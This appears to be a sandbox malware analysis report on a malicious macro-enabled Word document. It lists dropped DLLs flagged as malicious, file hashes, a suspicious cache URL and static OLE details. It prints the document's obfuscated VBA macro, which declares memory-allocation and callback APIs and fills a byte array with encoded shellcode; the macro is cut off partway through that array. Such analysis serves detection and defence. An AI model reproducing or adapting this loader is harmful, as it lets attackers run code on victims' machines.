IE Cache URL:	http://worldoptions.buzz/agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png
Preview:	.P&1.....Z4.T.........Y.r.&..&..,.>.vW.rrr?.2j?..b?.vV.;....5\|N@.z?.r?K...;..B..rrr# !'$%:..:..$..N..l.rrr:s.$..R:s.:C.:....r......:s.$:C.}.bJ..x..us.:....K.r,..(:...(V:s...~9.(n:s..v.:s.:.7r,:.z..rr..-,/)(+.:..2."!# :.,z:.$b:..nrrr.q.vx:..:...Ir...vxr:.4b:.R:.....rrr:.R.:.<j.v.s.t.srrrr(+):...jr.r.r:...u....}...:.R:..rrrr:..rr"r;..rBrr;..2rrr.e:.R:.b:...5z..s..5b..N.5:E.K..52L. \|.5"M/.l.5B.gD..5j2.;\.5R.P.K.5Ze?...5J...7.5.}.5...H..5..@..5.:5T-.5..Lx....rrr...A...rrr..z...rrr...b...rrr...5.u......rrr.......rrr..4...rrr.9P...rrr.=z...rrr$mps...rrr......rrrS....r...:.R:..rrrr:..rrsr;..rbrr;..vrrr.e:.R:wr.rr:..Bsrr:..e`rr:..6srr:...b.c:..:...Jr...r:.vV:.R:.....rrr:.R:.z:.2:..Vb:.R:.....rrr:.R..q...Jsrr..p.1t...Nsrr:.2...Jsrr..b...Nsrr..2srr..2srrux.u}.(\|rr:..F`rr:..6srr:...wrr"!#...:..wrrr.V..2srrsx.u.~...wrrp..srr...wrrs..srr:..L`rr:..6srr:...wrr"!#.?...:..wrrr.V..2srrtx.u.~...wrrp.^srr...wrrs.Rsrr:..#`rr:..6srr:...wrr"!#.p...:..wrrr.V..2srrn{.u.~

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	245248
Entropy (8bit):	5.036287488973504
Encrypted:	false
SSDEEP:	1536:yFune95xoysBFgV2SJKP8y/4AXbObHHdRnl57GB6Fune95xoysBFgV2SJKP8y/4C:yUnThBl/USLevCB6UnThBl/USLevCB
MD5:	79F39E4A21B47738908F07B5C6DB10DC
SHA1:	EF61EB830B56C6E887A40AFF0621E70E27AD3A78
SHA-256:	004F56B2D352C4FFA1E6B0E19821C9CB7BCFB745E318F78987AE2CBC460F10D2
SHA-512:	59650D49AB0C0B0F13F47F21B8645FCF184178A456FA90E6CBE830A5B8E83AEFC3452F1BBC7BE5CB54A91F3ED98968E8BB5DF1271FDD3B9F57459F36E0F5C0D1
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2837334C-3C28-47DF-B8E9-7A311DBFF213}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6D74B366-D4C8-464E-A7CA-80C94D1A45EA}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	378881
Entropy (8bit):	6.13304287996916
Encrypted:	false
SSDEEP:	6144:33fcM8b4iC7bOWasINgY1CkOPvTqhPuUh+BUI1vKHB1pLK:xC4iC7bOXNDWhdKHB/K
MD5:	7BCCA8A0DEF6F9027C52A3383477B963
SHA1:	DD5DA06A73DD3F8C86665931D2F2125DE7BE42BF
SHA-256:	A2BE0FE4CAFBCA698873FADCA25970FE24DF6FD9C2F0DA1E2DEC6561A2C33177
SHA-512:	3195C5CD33BA1D48C46206A34D8BED98E7EC6635A46CA77F7FDE70A830C70C7ABF6D1DB3130016022A3A23E7C936558276D746886D7039145F7E5B53A9745442
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 8SCdyagBIS.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.uQa...a...a....q..`...'......'.......'...m....q..l...a.......l...h...l...`...l...`...l...`...Richa...........PE..d....[.b.........." ................@?.......................................0............`..........................................`..c...Da..................x3........... ..0.......................................p............................................text............................... ..`.rdata...].......^..................@..@.data...`T...p......\..............@....pdata..x3.......4..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wnitmpo.dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	378880
Entropy (8bit):	6.133036314043739
Encrypted:	false
SSDEEP:	6144:33fcM8b4iC7bOWasINgY1CkOPvTqhPuUh+BUI1vKHB1pL:xC4iC7bOXNDWhdKHB/
MD5:	CC89C9FA4DCF4BB373891C3F20AD2F56
SHA1:	5929ABEC0909DD895075EB6897462750711DFBB7
SHA-256:	0E209D2DE485637DF53C20C8425FF3F20AF6E04A46697D80F459EC6CD36C58B7
SHA-512:	87B29761587BB887654E43C529740C83AA66929FA0C995403929E3EF523DC61C9A186CE4B873C43580FE703D5D0F5D65E5348BBFC81FDE881F84FC22D8826209
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 8SCdyagBIS.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%.uQa...a...a....q..`...'......'.......'...m....q..l...a.......l...h...l...`...l...`...l...`...Richa...........PE..d....[.b.........." ................@?.......................................0............`..........................................`..c...Da..................x3........... ..0.......................................p............................................text............................... ..`.rdata...].......^..................@..@.data...`T...p......\..............@....pdata..x3.......4..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF3EAF6279D3B942E8.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	5.0304772299397476
Encrypted:	false
SSDEEP:	1536:ld+DhMSG5wjHZddynh67Wg0zt5wGUIOp5IxcXVFtNR41g7c0T/V:luM0dyn5Xt5wG1clFzCa7c0T/
MD5:	A83E531042C7DF27D05E672B91D7D96F
SHA1:	CEF36313E249B3B43F22443DB1B86710205DEE2E
SHA-256:	844F9F4A2C8923247E96274D921DCA8BF9B63270B34885CFF8BB0509E39DCB16
SHA-512:	E171F31567470832CCAD900796E5894EAEFDDBC8881BAD1C38F6E65C610D5ECC7F34072EFFA6C08939A4F8F2EF63E68D1777AE19A82F521B64D63810DDBA5DC2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................X....................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.418942457548717
Encrypted:	false
SSDEEP:	3:bDuMJlJb+U+zVomX1mob+U+zVov:bCCavV+/vVy
MD5:	20676B07529FE173251F0BAFEBF29C4D
SHA1:	499ABE24E905DB974195547210D1E99477BD4644
SHA-256:	652E7F08A1DEB302C8550D4647436D7498639A20F9A5F6351F412EAEC7410DFB
SHA-512:	481C5FFC07976154AC36E72326474A5E9928144E1FC1068ACB02A209B68FB97B06C84710A604DBAD29CFCD44E1789E967F6D43B27CCF5C685AD028CE59D6062B
Malicious:	false
Preview:	[folders]..Templates.LNK=0..template[1].LNK=0..[doc]..template[1].LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\template[1].LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:55 2022, mtime=Tue Mar 8 15:45:55 2022, atime=Sun Aug 14 14:38:14 2022, length=51033, window=hide
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	4.538758479797877
Encrypted:	false
SSDEEP:	12:8qCK80gXg/XAlCPCHaXNBQtB/xQpX+WT9aiEVlIjuicvbbzajlWDtZ3YilMMEpxJ:8qCXk/XT9SIp9tEkNeXz1Dv3qTau7D
MD5:	CE81AA7CAA96AB93764982AD610D868B
SHA1:	1118B8B3EB3AA7321DB3D13D8A75ACB2F998AAD8
SHA-256:	689F29512ABDBEB358039E1F3C67DF4530CAB1F181B0467EE6C3620D498521CE
SHA-512:	9946D20200077F44EFC7B3A865E5F6276AEEB0EB957EE3773858B1D132FC989CACD629C69038B1575FC7C004BAF5F7B96A251FFF414BD2191B646B51D1F28A44
Malicious:	false
Preview:	L..................F.... .....2..3....2..3...)@....Y............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT....Desktop.d......QK.XhT....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....h.2.Y....U.\| .TEMPLA~1.DOC..L......hT..hT.....r.....'...............t.e.m.p.l.a.t.e.[.1.]...d.o.c.......y...............-...8...[............?J......C:\Users\..#...................\\116938\Users.user\Desktop\template[1].doc.&.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.t.e.m.p.l.a.t.e.[.1.]...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......116938..........D_....3N...W...9G..N..... .....[D_....3N...W...9G

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

C:\Users\user\Desktop\~$mplate[1].doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHH/cgQfmW+eMdln:vdsCkWtUb+8ll
MD5:	D9C8F93ADB8834E5883B5A8AAAC0D8D9
SHA1:	23684CCAA587C442181A92E722E15A685B2407B1
SHA-256:	116394FEAB201D23FD7A4D7F6B10669A4CBCE69AF3575D9C1E13E735D512FA11
SHA-512:	7742E1AC50ACB3B794905CFAE973FDBF16560A7B580B5CD6F27FEFE1CB3EF4AEC2538963535493DCC25F8F114E8708050EDF5F7D3D146DF47DA4B958F0526515
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........15..............25.............@35..............35.....z.......p45.....x...

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.873361527141924
TrID:	Word Microsoft Office Open XML Format document with Macro (52004/1) 33.99% Word Microsoft Office Open XML Format document (49504/1) 32.35% Word Microsoft Office Open XML Format document (43504/1) 28.43% ZIP compressed archive (8000/1) 5.23%
File name:	template[1].doc
File size:	60418
MD5:	8f21756219d4e736219011174eb0534b
SHA1:	4429c35b62d55abe159e130c095fc988e640f3fd
SHA256:	394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc
SHA512:	315e36c7fb746ed22bac49c5121c448e2b5a53741e2467d4ecacda372c0d79da50cc0d1d2b4a68f425540e1c667558293862e54ea8f9fd537485d1c327c7d3e2
SSDEEP:	768:urH9EDL1s1p6qCS1ioGwmFRdoUzQLgRlpqVmbTzD1CNJbOz+zaN18OIZ5grp/0GR:ur6Lm1p7QDdoaQLgRYm7pQNOz71IW5R
TLSH:	054302ADD306B820E77AC0B4D81715F6F779F5461384F0EB02C9C508D52A25BB2DBE81
File Content Preview:	PK..........!...E.....#.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "/opt/package/joesandbox/database/analysis/683638/sample/template[1].doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Author:	ismail - [2010]
Template:	Normal.dotm
Last Saved By:	ismail - [2010]
Revion Number:	1
Total Edit Time:	403197
Create Time:	2021-11-01T09:30:00Z
Last Saved Time:	2022-08-08T09:27:00Z
Number of Pages:	1
Number of Words:	0
Number of Characters:	0
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Number of Lines:	0
Number of Paragraphs:	0
Thumbnail Scaling Desired:	false
Company:	home
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	14.0000

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 116091

General
Stream Path:	VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	116091
Data ASCII:	. . . . . . . . ^ . . . . . . . . . e . . . Y L . . L . . . . . . . . . . F . . # . . . . . . . . . . . . . . : . . . . . . . . . . . . . . . . . . . . . . . . . . Z w A l l o c a t e V i r t u a l M e m o r y . . . F . X . . . . . . . . . . . . . . . . . . . . . . . . . . . I n t e r n a l _ E n u m U I L a n g u a g e s . . . . . . V . . . . 8 . . . . . . . . . . . . . . . . . . . . . . M u l t i B y t e T o W i d e C h a r . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 9c 01 00 00 5e 09 00 00 80 01 00 00 ac 02 00 00 ff ff ff ff 65 09 00 00 59 4c 01 00 eb 4c 01 00 00 00 00 00 01 00 00 00 46 dc de e0 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 a8 00 00 00 00 00 3a 02 20 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function jIiijLJLLiLJIiiJ Lib "ntdll" Alias "ZwAllocateVirtualMemory" (ByVal jLLlIiLjLILIlliI As LongPtr, ByRef JJlLjLLLLJIljjll As LongPtr, ByVal IJiiiIljIjjjiJjj As Long, ByRef jIlJJJIiJJlLILjj As LongPtr, ByVal iiJIjljjljiJJJii As Long, ByVal LjJILIILliiJJliI As Long) As LongPtr
    Private Declare PtrSafe Function jjLliiILilJiliIj Lib "kernelbase" Alias "Internal_EnumUILanguages" (ByVal LijJilJiJJIiJIlj As LongPtr, ByVal LJiliJLliiLiijll As Long, ByVal LlLJIjlilJJJliil As Long, ByVal JJJjILjljLJJJIJj As Long) As Long
    Private Declare PtrSafe Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar" (ByVal LilIilljllJjLjIl As Long, ByVal LiIJJjiLLILjLLiL As Long, ByVal IjJIjiljLjLLiIlI As LongPtr, ByVal ljLLLJJilJJlIJLJ As Long, ByVal iLLiLJiiLJijIjjL As LongPtr, ByVal jjIILJillJlIiIij As Long) As Long
#Else
    Private Declare Function jIiijLJLLiLJIiiJ Lib "ntdll" Alias "ZwAllocateVirtualMemory" (ByVal jLLlIiLjLILIlliI As Long, ByRef JJlLjLLLLJIljjll As Long, ByVal IJiiiIljIjjjiJjj As Long, ByRef jIlJJJIiJJlLILjj As Long, ByVal iiJIjljjljiJJJii As Long, ByVal LjJILIILliiJJliI As Long) As Long
    Private Declare Function jjLliiILilJiliIj Lib "kernelbase" Alias "Internal_EnumUILanguages" (ByVal LijJilJiJJIiJIlj As Long, ByVal LJiliJLliiLiijll As Long, ByVal LlLJIjlilJJJliil As Long, ByVal JJJjILjljLJJJIJj As Long) As Long
    Private Declare Function IJIiLJIJlllJIjIJ Lib "kernel32" Alias "MultiByteToWideChar" (ByVal LilIilljllJjLjIl As Long, ByVal LiIJJjiLLILjLLiL As Long, ByVal IjJIjiljLjLLiIlI As Long, ByVal ljLLLJJilJJlIJLJ As Long, ByVal iLLiLJiiLJijIjjL As Long, ByVal jjIILJillJlIiIij As Long) As Long
#End If


Sub lllIiIjLliJjJIlJ()
    Dim ljLLJJLJjjjjJijI(0 To 5000) As Byte
    #If VBA7 Then
        Dim ljJLIjIILliJIiLJ As LongPtr
        Dim iJLlijjILjjJLjJJ  As LongPtr
        Dim ILJjijIJIjIjlLIi  As Long
    #Else
        Dim ljJLIjIILliJIiLJ As Long
        Dim iJLlijjILjjJLjJJ  As Long
        Dim ILJjijIJIjIjlLIi  As Long
    #End If
 

    ljLLJJLJjjjjJijI(0) = &H2B: ljLLJJLJjjjjJijI(1) = &H56: ljLLJJLJjjjjJijI(2) = &H5A: ljLLJJLJjjjjJijI(3) = &H43: ljLLJJLJjjjjJijI(4) = &H4A: ljLLJJLJjjjjJijI(5) = &H53: ljLLJJLJjjjjJijI(6) = &H46: ljLLJJLJjjjjJijI(7) = &H58: ljLLJJLJjjjjJijI(8) = &H6C: ljLLJJLJjjjjJijI(9) = &H67: ljLLJJLJjjjjJijI(10) = &H55: ljLLJJLJjjjjJijI(11) = &H69: ljLLJJLJjjjjJijI(12) = &H41: ljLLJJLJjjjjJijI(13) = &H37: ljLLJJLJjjjjJijI(14) = &H41: ljLLJJLJjjjjJijI(15) = &H2D: ljLLJJLJjjjjJijI(16) = &H0: ljLLJJLJjjjjJijI(17) = &H2B: ljLLJJLJjjjjJijI(18) = &H36: ljLLJJLJjjjjJijI(19) = &H41: ljLLJJLJjjjjJijI(20) = &H41: ljLLJJLJjjjjJijI(21) = &H2D: ljLLJJLJjjjjJijI(22) = &H0: ljLLJJLJjjjjJijI(23) = &H0: ljLLJJLJjjjjJijI(24) = &H2B: ljLLJJLJjjjjJijI(25) = &H53: ljLLJJLJjjjjJijI(26) = &H46: ljLLJJLJjjjjJijI(27) = &H33: ljLLJJLJjjjjJijI(28) = &H74: ljLLJJLJjjjjJijI(29) = &H67: ljLLJJLJjjjjJijI(30) = &H30: ljLLJJLJjjjjJijI(31) = &H67: ljLLJJLJjjjjJijI(32) = &H53
    ljLLJJLJjjjjJijI(33) = &H54: ljLLJJLJjjjjJijI(34) = &H59: ljLLJJLJjjjjJijI(35) = &H31: ljLLJJLJjjjjJijI(36) = &H49: ljLLJJLJjjjjJijI(37) = &H4C: ljLLJJLJjjjjJijI(38) = &H38: ljLLJJLJjjjjJijI(39) = &H4C: ljLLJJLJjjjjJijI(40) = &H48: ljLLJJLJjjjjJijI(41) = &H41: ljLLJJLJjjjjJijI(42) = &H33: ljLLJJLJjjjjJijI(43) = &H49: ljLLJJLJjjjjJijI(44) = &H2D: ljLLJJLJjjjjJijI(45) = &H0: ljLLJJLJjjjjJijI(46) = &H2B: ljLLJJLJjjjjJijI(47) = &H45: ljLLJJLJjjjjJijI(48) = &H66: ljLLJJLJjjjjJijI(49) = &H59: ljLLJJLJjjjjJijI(50) = &H78: ljLLJJLJjjjjJijI(51) = &H67: ljLLJJLJjjjjJijI(52) = &H45: ljLLJJLJjjjjJijI(53) = &H67: ljLLJJLJjjjjJijI(54) = &H62: ljLLJJLJjjjjJijI(55) = &H77: ljLLJJLJjjjjJijI(56) = &H66: ljLLJJLJjjjjJijI(57) = &H2F: ljLLJJLJjjjjJijI(58) = &H2F: ljLLJJLJjjjjJijI(59) = &H53: ljLLJJLJjjjjJijI(60) = &H48: ljLLJJLJjjjjJijI(61) = &H58: ljLLJJLJjjjjJijI(62) = &H4B: ljLLJJLJjjjjJijI(63) = &H67: ljLLJJLJjjjjJijI(64) = &H66
    ljLLJJLJjjjjJijI(65) = &H4E: ljLLJJLJjjjjJijI(66) = &H76: ljLLJJLJjjjjJijI(67) = &H71: ljLLJJLJjjjjJijI(68) = &H4D: ljLLJJLJjjjjJijI(69) = &H48: ljLLJJLJjjjjJijI(70) = &H67: ljLLJJLJjjjjJijI(71) = &H35: ljLLJJLJjjjjJijI(72) = &H49: ljLLJJLJjjjjJijI(73) = &H54: ljLLJJLJjjjjJijI(74) = &H6B: ljLLJJLJjjjjJijI(75) = &H35: ljLLJJLJjjjjJijI(76) = &H47: ljLLJJLJjjjjJijI(77) = &H2B: ljLLJJLJjjjjJijI(78) = &H70: ljLLJJLJjjjjJijI(79) = &H2F: ljLLJJLJjjjjJijI(80) = &H4B: ljLLJJLJjjjjJijI(81) = &H52: ljLLJJLJjjjjJijI(82) = &H70: ljLLJJLJjjjjJijI(83) = &H71: ljLLJJLJjjjjJijI(84) = &H66: ljLLJJLJjjjjJijI(85) = &H53: ljLLJJLJjjjjJijI(86) = &H45: ljLLJJLJjjjjJijI(87) = &H62: ljLLJJLJjjjjJijI(88) = &H36: ljLLJJLJjjjjJijI(89) = &H6E: ljLLJJLJjjjjJijI(90) = &H41: ljLLJJLJjjjjJijI(91) = &H34: ljLLJJLJjjjjJijI(92) = &H4B: ljLLJJLJjjjjJijI(93) = &H30: ljLLJJLJjjjjJijI(94) = &H59: ljLLJJLJjjjjJijI(95) = &H6E: ljLLJJLJjjjjJijI(96) = &H47
    ljLLJJLJjjjjJijI(97) = &H39: ljLLJJLJjjjjJijI(98) = &H75: ljLLJJLJjjjjJijI(99) = &H68: ljLLJJLJjjjjJijI(100) = &H4F: ljLLJJLJjjjjJijI(101) = &H71: ljLLJJLJjjjjJijI(102) = &H6A: ljLLJJLJjjjjJijI(103) = &H31: ljLLJJLJjjjjJijI(104) = &H74: ljLLJJLJjjjjJijI(105) = &H6A: ljLLJJLJjjjjJijI(106) = &H73: ljLLJJLJjjjjJijI(107) = &H6B: ljLLJJLJjjjjJijI(108) = &H47: ljLLJJLJjjjjJijI(109) = &H2B: ljLLJJLJjjjjJijI(110) = &H70: ljLLJJLJjjjjJijI(111) = &H71: ljLLJJLJjjjjJijI(112) = &H65: ljLLJJLJjjjjJijI(113) = &H51: ljLLJJLJjjjjJijI(114) = &H45: ljLLJJLJjjjjJijI(115) = &H33: ljLLJJLJjjjjJijI(116) = &H51: ljLLJJLJjjjjJijI(117) = &H6D: ljLLJJLJjjjjJijI(118) = &H52: ljLLJJLJjjjjJijI(119) = &H62: ljLLJJLJjjjjJijI(120) = &H36: ljLLJJLJjjjjJijI(121) = &H33: ljLLJJLJjjjjJijI(122) = &H55: ljLLJJLJjjjjJijI(123) = &H6C: ljLLJJLJjjjjJijI(124) = &H4A: ljLLJJLJjjjjJijI(125) = &H73: ljLLJJLJjjjjJijI(126) = &H50: ljLLJJLJjjjjJijI(127) = &H74: ljLLJJLJjjjjJijI(128) = &H72
    ljLLJJLJjjjjJijI(129) = &H57: ljLLJJLJjjjjJijI(130) = &H78: ljLLJJLJjjjjJijI(131) = &H74: ljLLJJLJjjjjJijI(132) = &H37: ljLLJJLJjjjjJijI(133) = &H4F: ljLLJJLJjjjjJijI(134) = &H79: ljLLJJLJjjjjJijI(135) = &H62: ljLLJJLJjjjjJijI(136) = &H61: ljLLJJLJjjjjJijI(137) = &H79: ljLLJJLJjjjjJijI(138) = &H73: ljLLJJLJjjjjJijI(139) = &H47: ljLLJJLJjjjjJijI(140) = &H52: ljLLJJLJjjjjJijI(141) = &H64: ljLLJJLJjjjjJijI(142) = &H74: ljLLJJLJjjjjJijI(143) = &H62: ljLLJJLJjjjjJijI(144) = &H37: ljLLJJLJjjjjJijI(145) = &H4C: ljLLJJLJjjjjJijI(146) = &H59: ljLLJJLJjjjjJijI(147) = &H6C: ljLLJJLJjjjjJijI(148) = &H31: ljLLJJLJjjjjJijI(149) = &H42: ljLLJJLJjjjjJijI(150) = &H76: ljLLJJLJjjjjJijI(151) = &H62: ljLLJJLJjjjjJijI(152) = &H50: ljLLJJLJjjjjJijI(153) = &H72: ljLLJJLJjjjjJijI(154) = &H6B: ljLLJJLJjjjjJijI(155) = &H35: ljLLJJLJjjjjJijI(156) = &H4B: ljLLJJLJjjjjJijI(157) = &H7A: ljLLJJLJjjjjJijI(158) = &H6B: ljLLJJLJjjjjJijI(159) = &H4F: ljLLJJLJjjjjJijI(160) = &H75
    ljLLJJLJjjjjJijI(161) = &H56: ljLLJJLJjjjjJijI(162) = &H76: ljLLJJLJjjjjJijI(163) = &H73: ljLLJJLJjjjjJijI(164) = &H73: ljLLJJLJjjjjJijI(165) = &H53: ljLLJJLJjjjjJijI(166) = &H53: ljLLJJLJjjjjJijI(167) = &H35: ljLLJJLJjjjjJijI(168) = &H61: ljLLJJLJjjjjJijI(169) = &H79: ljLLJJLJjjjjJijI(170) = &H73: ljLLJJLJjjjjJijI(171) = &H4F: ljLLJJLJjjjjJijI(172) = &H69: ljLLJJLJjjjjJijI(173) = &H33: ljLLJJLJjjjjJijI(174) = &H56: ljLLJJLJjjjjJijI(175) = &H47: ljLLJJLJjjjjJijI(176) = &H36: ljLLJJLJjjjjJijI(177) = &H78: ljLLJJLJjjjjJijI(178) = &H6C: ljLLJJLJjjjjJijI(179) = &H4C: ljLLJJLJjjjjJijI(180) = &H65: ljLLJJLJjjjjJijI(181) = &H53: ljLLJJLJjjjjJijI(182) = &H52: ljLLJJLJjjjjJijI(183) = &H4A: ljLLJJLJjjjjJijI(184) = &H44: ljLLJJLJjjjjJijI(185) = &H64: ljLLJJLJjjjjJijI(186) = &H65: ljLLJJLJjjjjJijI(187) = &H53: ljLLJJLJjjjjJijI(188) = &H53: ljLLJJLJjjjjJijI(189) = &H55: ljLLJJLJjjjjJijI(190) = &H62: ljLLJJLJjjjjJijI(191) = &H72: ljLLJJLJjjjjJijI(192) = &H45
